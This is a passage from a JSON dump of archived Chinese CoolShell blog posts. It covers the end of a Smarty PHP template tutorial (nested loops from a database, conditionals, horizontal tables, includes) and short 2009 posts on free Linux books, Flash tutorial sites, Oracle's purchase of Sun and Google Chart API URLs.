上面提到如何显示巢状循环，而实际上应用时我们的资料可能是从数据库中抓取出来的，所以我们就得想办法把数据库的资料变成上述的多重数组的形式。这里笔者用一个 DB 类别来抓取数据库中的资料，您可以自行用您喜欢的方法。<br/>\n　　<br/>\n　　我们只修改 PHP 程序，模版还是上面那个 (这就是模版引擎的好处~)，其中 $db 这个对象假设已经在 main.php 中建立好了，而且抓出来的资料就是上面的例子。<br/>\n　　<br/>\n　　test3.php:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require \"main.php\";\n　　// 先建立第一层数组\n　　$category = array();\n　　$db-&gt;set&lt;span class=\"t_tag\"&gt;SQL&lt;/span&gt;($SQL1, 'CATEGORY');\n　　if (!$db-&gt;query('CATEGORY')) die($db-&gt;error());\n　　// 抓取第一层循环的资料\n　　while ($item_category = $db-&gt;fetchAssoc('CATEGORY'))\n　　{\n　　// 建立第二层数组\n　　$topic = array();\n　　$db-&gt;setSQL(sprintf($SQL2, $item_category['category_id']), 'TOPIC');\n　　if (!$db-&gt;query('TOPIC')) die($db-&gt;error());\n　　// 抓取第二层循环的资料\n　　while ($item_topic = $db-&gt;fetchAssoc('TOPIC'))\n　　{\n　　// 把抓取的数据推入第二层数组中\n　　array_push($topic, $item_topic);\n　　}\n　　// 把第二层数组指定为第一层数组所抓取的数据中的一个成员\n　　$item_category['topic'] = $topic;\n　　// 把第一层数据推入第一层数组中\n　　array_push($category, $item_category);\n　　}\n　　$tpl-&gt;assign(\"forum\", $category);\n　　$tpl-&gt;display(\"test3.htm\");\n　　?&gt;\n　　</pre>\n<p>　　在数据库抓取一笔资料后，我们得到的是一个包含该笔数据的数组。透过 while 叙述及 array_push 函式，我们将数据库中的资料一笔一笔塞到数组里。如果您只用到单层循环，就把第二层循环 (红色的部份) 去掉即可。<br/>\n　　<br/>\n　　<strong>决定内容是否显示</strong><br/>\n　　<br/>\n　　要决定是否显示内容，我们可以使用 if 这个语法来做选择。例如如果使用者已经登入的话，我们的模版就可以这样写：<br/>\n　　<br/>\n　　&lt;{if $is_login == true}&gt;<br/>\n　　显示使用者操作选单<br/>\n　　&lt;{else}&gt;<br/>\n　　显示输入<span class=\"t_tag\">帐号</span>和<span class=\"t_tag\">密码</span>的窗体<br/>\n　　&lt;{/if}&gt;<br/>\n　　<br/>\n　　要注意的是，「==」号两边一定要各留至少一个空格符，否则 Smarty 会无法解析。<br/>\n　　<br/>\n　　if 语法一般的应用可以参照官方使用说明，所以笔者在这里就不详加介绍了。不过笔者发现了一个有趣的应用：常常会看到程序里要产生这样的一个表格： (数字代表的是资料集的顺序)<br/>\n　　<br/>\n　　1 2<br/>\n　　<br/>\n　　3 4<br/>\n　　<br/>\n　　5 6<br/>\n　　<br/>\n　　7 8<br/>\n　　<br/>\n　　这个笔者称之为「横向重复表格」。它的特色和传统的纵向重复不同，前几节我们看到的重复表格都是从上而下，一列只有一笔资料。而横向重复表格则可以横向地在一列中产生 n 笔资料后，再换下一列，直到整个循环结束。要达到这样的功能，最简单的方式只需要 section 和 if 搭配即可。<br/>\n　　<br/>\n　　我们来看看下面这个例子：<br/>\n　　<br/>\n　　test4.php:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require \"main.php\";\n　　$my_array = array(\n　　array(\"value\" =&gt; \"0\"),\n　　array(\"value\" =&gt; \"1\"),\n　　array(\"value\" =&gt; \"2\"),\n　　array(\"value\" =&gt; \"3\"),\n　　array(\"value\" =&gt; \"4\"),\n　　array(\"value\" =&gt; \"5\"),\n　　array(\"value\" =&gt; \"6\"),\n　　array(\"value\" =&gt; \"7\"),\n　　array(\"value\" =&gt; \"8\"),\n　　array(\"value\" =&gt; \"9\"));\n　　$tpl-&gt;assign(\"my_array\", $my_array);\n　　$tpl-&gt;display('test4.htm');\n　　?&gt;\n　　</pre>\n<p>　　模版的写法如下：<br/>\n　　<br/>\n　　templates/test4.htm:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;title&gt;横向重复表格测试&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　\n&lt;table width=\"500\" border=\"1\" cellspacing=\"0\" cellpadding=\"3\"&gt;\n　　\n&lt;tr&gt;\n　　&lt;{section name=sec1 loop=$my_array}&gt;\n　　\n&lt;td&gt;&lt;{$my_array[sec1].value}&gt;&lt;/td&gt;\n　　&lt;{if $smarty.section.sec1.rownum is div by 2}&gt;\n　　&lt;/tr&gt;\n　　\n&lt;tr&gt;\n　　&lt;{/if}&gt;\n　　&lt;{/section}&gt;\n　　&lt;/tr&gt;\n　　&lt;/table&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　重点在于 $smarty.section.sec1.rownum 这个 Smarty 变量，在 section 循环中这个变量会取得从 1 开始的索引值，所以当 rownum 能被 2 除尽时，就输出 &lt;/tr&gt;&lt;tr&gt; 使表格换列 (注意！是 &lt;/tr&gt; 在前面&lt;tr&gt; 在后面) 。因此数字 2 就是我们在一列中想要呈现的资料笔数。各位可以由此去变化其它不同的呈现方式。<br/>\n　　<br/>\n　　<strong>加载外部内容</strong><br/>\n　　<br/>\n　　我们可以在模版内加载 PHP 程序<span class=\"t_tag\">代码</span>或是另一个子模版，分别是使用 include_php 及 include 这两个 Smarty 模版语法； include_php 笔者较少用，使用方式可以查询官方手册，这里不再叙述。<br/>\n　　<br/>\n　　在使用 include 时，我们可以预先加载子模版，或是动态加载子模版。预先加载通常使用在有共同的<span class=\"t_tag\">文件</span>标头及版权宣告；而动态加载则可以用在统一的框架页，而进一步达到如 Win<span class=\"t_tag\">amp</span> 般可换 Skin 。当然这两种我们也可以混用，视状况而定。<br/>\n　　<br/>\n　　我们来看看下面这个例子：<br/>\n　　<br/>\n　　test5.php:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require \"main.php\";\n　　$tpl-&gt;assign(\"title\", \"Include 测试\");\n　　$tpl-&gt;assign(\"content\", \"这是模版 2 中的变量\");\n　　$tpl-&gt;assign(\"dyn_page\", \"test5_3.htm\");\n　　$tpl-&gt;display('test5_1.htm');\n　　?&gt;\n　　</pre>\n<p>　　模版 1 的写法如下：<br/>\n　　<br/>\n　　templates/test5_1.htm:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\"&gt;\n　　&lt;title&gt;&lt;{$title}&gt;&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　&lt;{include file=\"test5_2.htm\"}&gt;\n　　&lt;{include file=$dyn_page}&gt;\n　　&lt;{include file=\"test5_4.htm\" custom_var=\"自订变量的内容\"}&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　模版 2 的写法如下：<br/>\n　　<br/>\n　　templates/test5_2.htm:<br/>\n　　<br/>\n　　&lt;{$content}&gt;<br/>\n　　模版 3 的写法如下：<br/>\n　　<br/>\n　　templates/test5_3.htm:<br/>\n　　<br/>\n　　这是模版 3 的内容<br/>\n　　模版 4 的写法如下：<br/>\n　　<br/>\n　　templates/test5_4.htm:<br/>\n　　<br/>\n　　&lt;{$custom_var}&gt;</p>\n<p>　　这里注意几个重点：1. 模版的位置都是以先前定义的 template_dir 为基准；2. 所有 include 进来的子模版中，其变量也会被解译。；3. include 中可以用「变量名称=变量内容」来指定引含进来的模版中所包含的变量，如同上面模版 4 的做法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/455.html\"><img alt=\"9个强大免费的PHP库\" height=\"150\" src=\"../wp-content/uploads/2009/04/akismet-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/455.html\">9个强大免费的PHP库</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/559.html\">菜鸟学PHP之Smarty入门</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-2 超过100本的linux免费书籍.html",
    "content": "<html><body><p>在<a href=\"http://www.linuxtopia.org/\"><img alt=\"\" class=\"alignnone\" height=\"87\" src=\"http://www.linuxtopia.org/images/toplogo.jpg\" title=\"Linuxtopia\" width=\"342\"/></a>上有100多本关于Linux的免费书籍，书籍涉及到多Linux编程的领域</p>\n<p>包括</p>\n<ul>\n<li>WEB开发书籍</li>\n<li>桌面GUI开发</li>\n<li>数据库方面的书籍</li>\n<li>Linux安全方面</li>\n</ul>\n<p>等等，还有其他众多脚本语言的开发书籍。</p>\n<p>更多内容请查看：<a href=\"http://www.linuxtopia.org/online_books/index.html\">这里</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/336.html\">超过100本的linux免费书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-20 5个不错的Flash的英文教程网.html",
    "content": "<html><body><p>下面的这5个教程纯属个人观点，另外他们还都是免费的。</p>\n<li><strong><a href=\"http://mrsunstudios.com/\"><span style=\"color: #006699;\">MrSunStudios</span></a></strong>– 这是一个非常不错的教程网站。里面有大量大量的关于ActionScript，PHP等等的教程。能教会你做很多很实用的东西。</li>\n<li><strong><a href=\"http://awestyproductions.com/\"><span style=\"color: #006699;\">AwestyProductions</span></a></strong>– 虽然没怎么更新了，但他还是一个很不错的网站，其教你怎么去做一个小游戏。注意，其只是AS2的</li>\n<li><strong><a href=\"http://kirupa.com/\"><span style=\"color: #006699;\">Kirupa</span></a></strong>– 虽然没有太多的教程，不过这是一个巨大的社区，只要你问问题，你可以很快得得到他们的帮助和答案。当你遇到你无法解决的问题时，这是相当相当的不错的去处。</li>\n<li><strong><a href=\"http://flashexplained.com/\"><span style=\"color: #006699;\">Flash Explained</span></a></strong>– 超过9页的非常不错的教程。</li>\n<li><strong><a href=\"http://www.flashmagazine.com/Tutorials/index\"><span style=\"color: #006699;\">Flash Magazine</span></a><span class=\"Apple-style-span\" style=\"font-weight: normal;\">– 并不只是一个杂志，其还有很多教程，那才是这个网站最重要的。</span></strong></li>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3421.html\"><img alt=\"流体力学的演示\" height=\"150\" src=\"../wp-content/uploads/2010/12/Liquid-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3421.html\">流体力学的演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3267.html\"><img alt=\"游戏Flash vs HTML5\" height=\"150\" src=\"../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3267.html\">游戏Flash vs HTML5</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2926.html\"><img alt=\"你准备使用 HTML 5 吗？\" height=\"150\" src=\"../wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2926.html\">你准备使用 HTML 5 吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2735.html\"><img alt=\"HTML5 和 Flash 之争\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2735.html\">HTML5 和 Flash 之争</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/585.html\">5个不错的Flash的英文教程网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-20 Oracle成功收购Sun.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sun-oracle.jpg\"><img alt=\"sun-oracle\" class=\"alignright size-full wp-image-596\" height=\"130\" src=\"../wp-content/uploads/2009/04/sun-oracle.jpg\" title=\"sun-oracle\" width=\"145\"/></a>前段时间还传出IBM要收购Sun的消息，当然，如果IBM收购Sun了，那么<a href=\"https://coolshell.cn/articles/203.html\">IBM真是活雷锋</a>了。呵呵。</p>\n<p>今天，Oralce正式宣布成功收购Sun，原文在<a href=\"http://news.prnewswire.com/DisplayReleaseContent.aspx?ACCT=104&amp;STORY=/www/story/04-20-2009/0005008591&amp;EDATE=\">这里</a>。Oracle以每股9.5美元，总共以74亿美金的天价收购Sun公司，其中，56亿美金付现或购买Sun的债务。现在，Java, Solairs以及MySQL都是Oracle的了。</p>\n<p>Oracle的CEO——Larry Ellison说：“The acquisition of Sun transforms the IT industry, combining best-in-class enterprise software and mission-critical computing systems” 。</p>\n<p>让我们看看这次收购以后还会发生什么样的事情。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1426.html\"><img alt=\"Oracle的战书！\" height=\"150\" src=\"../wp-content/uploads/2009/09/sun_customers_lg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1426.html\">Oracle的战书！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/962.html\"><img alt=\"【原创】SQL栏目树的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/962.html\">【原创】SQL栏目树的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/203.html\"><img alt=\"IBM收购Sun，这是一种什么样的精神？\" height=\"150\" src=\"../wp-content/uploads/2009/03/ibm-potentially-buying-sun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/203.html\">IBM收购Sun，这是一种什么样的精神？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3311.html\"><img alt=\"几篇技术文章\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3311.html\">几篇技术文章</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/878.html\"><img alt=\"一个C的序列化库tpl\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/878.html\">一个C的序列化库tpl</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6913.html\"><img alt=\"神奇的CSS形状 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-20 使用Google API做统计图.html",
    "content": "<html><body><p>Google提供了一个的统计图的API。你可以通过构造一个URL链接来获得Google提供的统计图方案。</p>\n<p>比如：如果我们使用如下链接：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;img src=\"http://chart.apis.google.com/chart?cht=p3&amp;chd=t:60,40&amp;chs=250x100&amp;chl=酷壳|Cocre\" alt=\"\" /&gt;\n</pre>\n<p>我们就可能通过如下的HTML代码显示一个60:40的饼图：<br/>\n<img alt=\"\" src=\"http://chart.apis.google.com/chart?cht=p3&amp;chd=t:60,40&amp;chs=250x100&amp;chl=酷壳|Cocre\"/></p>\n<p>Google的这个API支持的统计图风格相当的多。</p>\n<p><span id=\"more-582\"></span></p>\n<p>比如：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;img src=\"http://chart.apis.google.com/chart?chs=200x125&amp;cht=ls&amp;chco=0077CC&amp;chd=t:27,25,60,31,25,39,25,31,26,28,80,28,27,31,27,29,26,35,70,25\" alt=\"Sparkline chart in blue\" /&gt;\n</pre>\n<p><img alt=\"Sparkline chart in blue\" src=\"http://chart.apis.google.com/chart?chs=200x125&amp;cht=ls&amp;chco=0077CC&amp;chd=t:27,25,60,31,25,39,25,31,26,28,80,28,27,31,27,29,26,35,70,25\"/></p>\n<p>还甚至支持有世界地图式的统计图：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;img src=\"http://chart.apis.google.com/chart?cht=t&amp;chs=440x220&amp;chd=t:0,100,50,32,60,40,43,12,14,54,98,17,70,76,18,29&amp;chco=FFFFFF,FF0000,FFFF00,00FF00&amp;chld=DZEGMGAOBWNGCFKECGCVSNDJTZGHMZZM&amp;chtm=africa&amp;chf=bg,s,EAF7FE\" alt=\"Map of Africa\" /&gt;\n</pre>\n<p><img alt=\"Map of Africa\" src=\"http://chart.apis.google.com/chart?cht=t&amp;chs=440x220&amp;chd=t:0,100,50,32,60,40,43,12,14,54,98,17,70,76,18,29&amp;chco=FFFFFF,FF0000,FFFF00,00FF00&amp;chld=DZEGMGAOBWNGCFKECGCVSNDJTZGHMZZM&amp;chtm=africa&amp;chf=bg,s,EAF7FE\"/></p>\n<p>更多的内容请到<a href=\"http://code.google.com/apis/chart/\">http://code.google.com/apis/chart/</a> 上查看吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/582.html\">使用Google API做统计图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-20 免费电子书：Ruby Complete.html",
